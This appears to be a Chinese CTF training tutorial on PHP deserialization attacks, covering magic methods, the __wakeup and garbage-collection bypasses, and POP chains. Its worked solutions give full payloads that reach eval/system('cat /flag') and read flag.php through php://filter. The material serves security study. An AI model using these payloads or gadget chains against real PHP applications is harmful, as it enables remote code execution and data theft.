Unserialize Intro Installation Windows 在PHP
官网上下载Zip
解压安装包,将解压后的目录路径加入环境变量PATH
中,安装完成后可以使用php -v
来查询
Linux Use Apache 1 2 3 4 sudo apt update sudo apt install php libapache2-mod-php sudo systemctl restart apache2
Use Nginx 不像Apache
,Nginx
没有对处理PHP
文件的内建支持。我们要使用PHP-FPM (“fastCGI process manager”)
来处理PHP
文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 sudo apt update sudo apt install php-fpm systemctl status php7.4-fpm server { location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:q; } } sudo systemctl restart nginx
除了上述的这些方法,诸如PhpStorm
,phpstudy
,VSC extensions
等等工具也是不错的选择
当然,也可以使用Docker
Class & Object 在学习PHP Unserialize Attack
之前,首先需要对PHP
本身有所了解。PHP
是一种面向对象的语言,和其他面向对象的语言一样,
在PHP
中,类内的属性或方法也有private
,protected
,public
,三种访问权限
private
:私有的 , 类内自身可访问
protected
:受保护的 , 类内自身 , 其子类和父类可以访问
public
:公开的 , 任何地方都可以访问
举一个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class Cargo { public $id ; protected $price ; private $weight ; public function __construct ( ) { $this ->id = 114 ; $this ->price = 514 ; $this ->weight = 1919810 ; } }$cargo = new Cargo ;var_dump ($cargo ); ?> object (Cargo) ["id" ]=> int (114 ) ["price" :protected ]=> int (514 ) ["weight" :"Cargo" :private ]=> int (1919810 ) }
What is Serialize & Unserialize? 由于传递对象十分麻烦,所以便诞生了序列化
,在PHP
中,我们可以使用serialize()
来将一个对象转化成字符串,方便我们进行对象的传递。
举个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class Cargo { public $id ; public $name ; public function __construct ( ) { $this ->id = 114514 ; $this ->name = 1919810 ; } }$cargo = new Cargo ;echo serialize ($cargo );?> O:5 :"Cargo" :2 :{s:2 :"id" ;i:114514 ;s:4 :"name" ;i:1919810 ;}
我们来详细解释一下这个字符串
O:5:"Cargo":3
:O
表示是一个对象,5
表示类名的长度,Cargo
是类名,3
代表在Cargo
这个类中有三个属性,而这三个属性也是后面{}
之中的内容
{s:2:"id";i:114;s:8:"price";i:514;s:13:"Cargoweight";i:1919810;}
:不同的属性之间用;
隔开,s:2:"id";i:114
代表这个属性名长度为2,属性名为id
,而其内容是int
类型的114
有序列化也同样会有反序列化,我们可以使用unserialize()
来将一个字符串反序列化为一个对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class Cargo { public $id ; public $name ; public function __construct ( ) { $this ->id = 114514 ; $this ->name = 1919810 ; } }$string = 'O:5:"Cargo":2:{s:2:"id";i:114514;s:4:"name";i:1919810;}' ;$obj = unserialize ($string );var_dump ($obj );?> object (Cargo) ["id" ]=> int (114514 ) ["name" ]=> int (1919810 ) }
Magic Functions
魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。
Reference Link: https://www.php.net/manual/zh/language.oop5.magic.php#object.wakeup
魔术方法一共有如下这些
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __construct () __destruct () __call () __callStatic () __get () __set () __isset () __unset () __sleep () __wakeup () __serialize () __unserialize () __toString () __invoke () __set_state () __clone () __debuginfo ()
有一些注意事项:
除了__construct()
,__destruct()
,和 __clone()
之外的所有魔术方法都必须 声明为public
,否则会发出E_WARNING
。在PHP 8.0.0
之前没有为魔术方法__sleep()
、__wakeup()
,__serialize()
,__unserialize()
,__set_state()
发出诊断信息。
__construct()
,__destruct()
不能声明返回类型,不然会返回Fatal Error
__sleep() & __wakeup() 我们先看一下下面这个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class Cargo { private $secret ; protected $hidden ; public $name ; public function __construct ( ) { $this ->secret = 114514 ; $this ->hidden = 1919810 ; $this ->name = "zako" ; } }$cargo = new Cargo ;echo serialize ($cargo );?> O:5 :"Cargo" :3 :{s:13 :"Cargosecret" ;i:114514 ;s:9 :"*hidden" ;i:1919810 ;s:4 :"name" ;s:4 :"zako" ;}
我们会发现,在序列化的过程中,类内的private
和protected
属性也被序列化了,如果我们不希望某些属性在序列化时被暴露出来,就可以借用__sleep()
方法
__sleep()
方法是PHP
中的一个魔术方法,用于在对象被序列化时触发。在__sleep()
中,我们可以指定哪些属性需要被序列化,哪些属性不需要被序列化。具体来说,当调用serialize()
函数将一个对象序列化时,PHP
会先自动调用对象的__sleep()
方法,该方法需要返回一个数组,包含需要被序列化的属性名。然后PHP
会将这些属性序列化成字符串。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class Cargo { private $secret ; protected $hidden ; public $name ; public function __construct ( ) { $this ->secret = 114514 ; $this ->hidden = 1919810 ; $this ->name = "zako" ; } public function __sleep ( ) { return array ("name" ); } }$cargo = new Cargo ;echo serialize ($cargo );?> O:5 :"Cargo" :1 :{s:4 :"name" ;s:4 :"zako" ;}
显然,睡着了需要醒过来(bushi
在对字符串进行反序列化时会检查是否存在一个__wakeup()
方法。如果存在,则会先调用__wakeup()
方法,预先准备对象需要的资源 而__wakeup()
用于在从字符串反序列化为对象时自动调用。
__wakeup()
方法的作用是对一个对象进行一些必要的初始化操作。例如,如果一个对象中包含了一些需要进行身份验证的属性,那么在从字符串反序列化为对象时,就可以在 __wakeup()
方法中进行身份验证。或者如果一个对象中包含了一些需要在每次初始化时计算的属性,也可以在 __wakeup()
方法中进行计算
__toString()
__toString()
方法用于一个类被当成字符串时应怎样回应,此方法必须返回一个字符串
其实,__toString()
方法被触发的情况很多
echo($obj), print($obj)
反序列化对象与字符串拼接
反序列化对象参与格式化字符串
反序列化对象与字符串进行值相同(==)比较
反序列化对象参与格式化SQL
语句,绑定参数
反序列化对象被用于字符串处理函数
strlen()
,strcmp()
需要格外注意,正则判断preg_match()
也会触发
在in_array()
方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()
返回的字符串
反序列化对象作为class_exists()
的参数
举个例子,这次招新赛的!动启,案档蓝蔚
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 class Blue { public $source ; public $str ; public function __toString ( ) { return $this ->str->source; } }class Printer { public $content ; public function __construct ($content ="还想找大叔玩?<br>" ) { echo "word count:" .strlen ($content ); $this ->content=$content ; $this ->print (); } }
在这里就是通过Printer
类的__construct()
方法,将$content
传参一个Blue
类的对象,从而通过strlen()
触发__toString()
__get() & __set()
读取不可访问(protected 或 private)或不存在的属性的值时,__get()
会被调用。
在给不可访问(protected 或 private)或不存在的属性赋值时,__set()
会被调用。
还是参照这次招新赛的!动启,案档蓝蔚
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 class Archive { protected $game ; public function __get ($obj ) { $this ->launch ($this ->game); return "<br>hi<br>" ; } }class Blue { public $source ; public $str ; public function __construct ($welcome ='蔚蓝档案启动器!<br>' ) { $this ->source = $welcome ; echo '欢迎来到' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } }
在这里就是通过Blue
类的__toString()
方法,将$this->str
传参一个Archive
类的对象,调用其不存在的source
属性来触发__get()
Triggering Sequence 我们用下面这个简单的例子来看一下序列化与反序列化过程中,魔术方法的触发顺序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 <?php highlight_file (__FILE__ );class Cargo { public $secret = "hi" ; public $dump = "dump" ; public function __construct ( ) { echo "construct<br>" ; } public function __destruct ( ) { echo "destruct<br>" ; } public function __call ($name , $arguments ) { echo "call<br>" ; } public static function __callStatic ($name , $arguments ) { echo "callStatic<br>" ; } public function __get ($name ) { echo "get<br>" ; } public function __set ($name , $value ) { echo "set<br>" ; } public function __isset ($name ) { echo "isset<br>" ; } public function unset ( ) { echo "unset<br>" ; } public function __sleep ( ) { echo "sleep<br>" ; return array ("dump" ); } public function __wakeup ( ) { echo "wakeup<br>" ; } public function __toString ( ) { echo "toString<br>" ; return "toString" ; } public function __invoke ( ) { echo "invoke<br>" ; } public static function __set_state ($properties ) { echo "set_state<br>" ; } public function __clone ( ) { echo "clone<br>" ; } public function __debugInfo ( ) { echo "debugInfo<br>" ; } }echo "<br>Serialize:<br>" ;$cargo = new Cargo ;$str = serialize ($cargo );echo $str ;echo "<br>Unserialize:<br>" ;var_dump (unserialize ($str ));?>
output:
很显然,在序列化 的过程中,依次触发了__construct()
和__sleep()
;而在反序列化 的过程中,依次触发了__wakeup()
,__debugInfo()
和destruct()
。最后多了一次destruct
的输出是由于我们之前在序列化过程中创建的cargo
对象在运行结束后也要进行一次析构函数的运行
Ez Bypass 对于一些简单的题目,可能只利用了某些魔术方法的漏洞,并不需要进行pop
链的构造
__wakeup() Bypass
PHP5 <5.6.25, PHP7 < 7.0.10
如果类中存在__wakeup()
方法,调用unserilize()
方法前则先调用__wakeup()
方法,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()
的执行
__destruct() Garbage Collection 先看看这个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );class Cargo { public $secret ; public function __destruct ( ) { eval ($this ->secret); } }if (isset ($_GET ['str' ])){ $a =unserialize ($_GET ['str' ]); throw new Error ("zako" ); }?>
当我们构造序列化字符串O:5:"Cargo":1:{s:6:"secret";s:13:"system('ls');";}
并传参时,就会得到以下结果
这是由于__destruct()
是当某个对象成为垃圾或者当对象被显式销毁时执行
显式销毁,当对象没有被引用时就会被销毁,所以我们可以unset
或为其赋值NULL
隐式销毁,PHP
是脚本语言,在代码执行完最后一行时,所有申请的内存都要释放掉
在常规思路中__destruct()
是隐式销毁触发的,所以我们要强行使用GC (Garbage Collection)
What is Garbage Collection? 垃圾回收,就是把内存中不需要使用的量给清除掉,收回它所占用的空间。
旧的GC
,在PHP5.3
版本之前,使用的垃圾回收机制是单纯的“引用计数”。
每个内存对象都分配一个计数器,当内存对象被变量引用时,计数器+1
当变量引用撤掉后,即执行unset()
后,计数器-1
当计数器=0时,表明内存对象没有被使用,该内存对象则进行销毁,垃圾回收完成
这个时候就出现了问题,我自己引用我自己,自身一个,自己又被引用,所以计数器是2,但我将它销毁,才减1,此时明明已销毁,但还是1,所以无法进行回收,产生了内存泄漏。
每个PHP
变量存在一个叫zval
的变量容器中。一个zval
变量容器,除了包含变量的类型和值,还包括两个字节的额外信息。
第一个是is_ref
,是个布尔值,用来标识这个变量是否是属于引用集合。通过这个字节,PHP
引擎才能把普通变量和引用变量区分开来,由于PHP
允许用户通过使用&
来使用自定义引用,zval
变量容器中还有一个内部引用计数机制,来优化内存使用。
第二个额外字节是refcount
,用以表示指向这个zval
变量容器的变量个数。所有的符号存在一个符号表中,其中每个符号都有作用域。
Bypass 再回到刚刚那个例子,我们假如要执行__destruct
方法,调用eval()
,就得绕过这个throw new Error
。因为__destruct
方法是在该对象被回收时调用,而抛出错误会中断该进程对该对象的销毁。所以我们需要强制让GC去回收这个对象,方法就是反序列化一个数组,然后再利用第一个索引,来触发GC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class Cargo { public $secret ; public function __construct ( ) { $this ->secret = 'system("ls")' ; } }$str = serialize (array (new Cargo , new Cargo ));echo $str ;?> a:2 :{i:0 ;O:5 :"Cargo" :1 :{s:6 :"secret" ;s:12 :"system(" ls")" ;}i:1 ;O:5 :"Cargo" :1 :{s:6 :"secret" ;s:12 :"system(" ls")" ;}}
我们利用第一个索引,所以将后面改为第一个元素索引即可,也可以多加几个来进行触发。
Payload: a:2:{i:0;O:5:"Cargo":1:{S:6:"secret";s:13:"system('ls');";}i:0;i:0};}
POP 像上面的反序列化攻击更多的是魔术方法中出现一些利用的漏洞,如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来
!动启,案档蓝蔚 回顾一下招新赛的反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <?php error_reporting (0 );highlight_file (__FILE__ );class Archive { protected $game ; public function __construct ($game ="总力战" ) { $this ->game=$game ; echo "快去打" .$game ."<br>" ; } public function launch ($what ) { echo $what ."启动!<br>" ; eval ($what ); } public function __get ($obj ) { $this ->launch ($this ->game); return "<br>hi<br>" ; } }class Blue { public $source ; public $str ; public function __construct ($welcome ='蔚蓝档案启动器!<br>' ) { $this ->source = $welcome ; echo '欢迎来到' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } }class Printer { public $content ; public function __construct ($content ="还想找大叔玩?<br>" ) { echo "word count:" .strlen ($content ); $this ->content=$content ; $this ->print (); } public function __destruct ( ) { echo "word count:" .strlen ($content )."<br>" ; $this ->print (); } public function print ( ) { echo $this ->content."<br>" ; } }$what =new Blue ();$is =new Printer ();$it =new Archive ();if (isset ($_POST ['ba' ])){ unserialize ($_POST ['ba' ]); }else { die ("走错了捏<br>" ); }
首先扫一遍发现了利用点在Archive
类的launch()
方法中的eval($what)
eval() 函数把字符串按照 PHP 代码来计算。
继续观察,launch()
方法在__get()
方法中被调用
魔术方法__get()
用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
观察发现可能是在Blue
类中的__toString()
方法,它返回了$this->str->source
,那么我们就可以构造str
为一个Archive
对象,通过调用Archive
中不存在的$source
来成功调用__get()
方法
魔术方法__toString()
在把类当作字符串使用时触发
再次观察,在Printer
类的__construct()
方法中,它会将对象初始化时的传参$content
在strlen()
方法中被当做字符串调用,那么就可以成功调用__toString()
方法
构造payload
1 2 3 4 5 6 7 8 9 $c = new Archive ("system('cat /flag');" ); $b = new Blue ();$b -> str = $c ;$a = new Printer ();$a -> content = $b ;echo urlencode (serialize ($a ));
AreUSerialz 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <?php include ("flag.php" );highlight_file (__FILE__ );class FileHandler { protected $op ; protected $filename ; protected $content ; function __construct ( ) { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process (); } public function process ( ) { if ($this ->op == "1" ) { $this ->write (); } else if ($this ->op == "2" ) { $res = $this ->read (); $this ->output ($res ); } else { $this ->output ("Bad Hacker!" ); } } private function write ( ) { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen ((string )$this ->content) > 100 ) { $this ->output ("Too long!" ); die (); } $res = file_put_contents ($this ->filename, $this ->content); if ($res ) $this ->output ("Successful!" ); else $this ->output ("Failed!" ); } else { $this ->output ("Failed!" ); } } private function read ( ) { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents ($this ->filename); } return $res ; } private function output ($s ) { echo "[Result]: <br>" ; echo $s ; } function __destruct ( ) { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process (); } }function is_valid ($s ) { for ($i = 0 ; $i < strlen ($s ); $i ++) if (!(ord ($s [$i ]) >= 32 && ord ($s [$i ]) <= 125 )) return false ; return true ; }if (isset ($_GET {'str' })) { $str = (string )$_GET ['str' ]; if (is_valid ($str )) { $obj = unserialize ($str ); } }
先从正向看,首先先用GET
获取了str
,并将其转换成字符串,再对其进行is_valid()
检查,通过后对其进行反序列化
1 2 3 4 5 6 function is_valid ($s ) { for ($i = 0 ; $i < strlen ($s ); $i ++) if (!(ord ($s [$i ]) >= 32 && ord ($s [$i ]) <= 125 )) return false ; return true ; }
对传入的字符串每一位进行检查,要求每一位的ASCII
值必须介于32与125之间,即所有可见字符(除了~
)
根据上面我们做的Triggering Sequence
测试,可以知道在这里会先触发__destruct()
方法
1 2 3 4 5 6 function __destruct ( ) { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process (); }
如果op === “2”
,那么op会被赋值为
“1”,然后
content会赋值为空,并执行
process()`方法,这里的判断用的是强类型比较 。
1 2 3 4 5 6 7 8 9 10 public function process ( ) { if ($this ->op == "1" ) { $this ->write (); } else if ($this ->op == "2" ) { $res = $this ->read (); $this ->output ($res ); } else { $this ->output ("Bad Hacker!" ); } }
如果op == “1”
,执行write()
函数;如果op ==“2”
,执行read
函数,同时将结果赋值给$res
,然后输出;否则将输出"Bad Hacker!"
。这里的判断用的是弱类型比较
1 2 3 4 5 6 7 private function read ( ) { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents ($this ->filename); } return $res ; }
在read()
方法中,使用filename
调用file_get_contents()
方法将文件内容赋值给$res
返回。对于filename
,我们可以用filter伪协议
读取文件,再使用output()
方法输出。
但是这里的filename
是protected
类型的,在对其进行序列化时会出现以下情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class FileHandler { protected $op =2 ; protected $filename ="php://filter/read=convert.base64-encode/resource=flag.php" ; protected $content ; }$f = new FileHandler ();echo serialize ($f )."\n" ;echo urlencode (serialize ($f )); O:11 :"FileHandler" :3 :{s:5 :"*op" ;i:2 ;s:11 :"*filename" ;s:57 :"php://filter/read=convert.base64-encode/resource=flag.php" ;s:10 :"*content" ;N;} O%3 A11%3 A%22 FileHandler%22 %3 A3%3 A%7 Bs%3 A5%3 A%22 %00 %2 A%00 op%22 %3 Bi%3 A2%3 Bs%3 A11%3 A%22 %00 %2 A%00 filename%22 %3 Bs%3 A57%3 A%22 php%3 A%2 F%2 Ffilter%2 Fread%3 Dconvert.base64-encode%2 Fresource%3 Dflag.php%22 %3 Bs%3 A10%3 A%22 %00 %2 A%00 content%22 %3 BN%3 B%7 D%
在protected
类型的属性前面,会出现\x00
,而其显然不是可见字符,无法通过is_valid()
方法
我们查询一下环境的PHP
版本:
在高版本的PHP
中,其对属性类型不敏感,所以我们可以直接将其改成public
类型
payload: ?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
这样就会输出flag.php
的Base64
编码之后的内容,解码之后就能得到flag
了
HomeWork
复现!动启,案档蓝蔚
和AreUSerialz
解出ez_yii
(主站上有)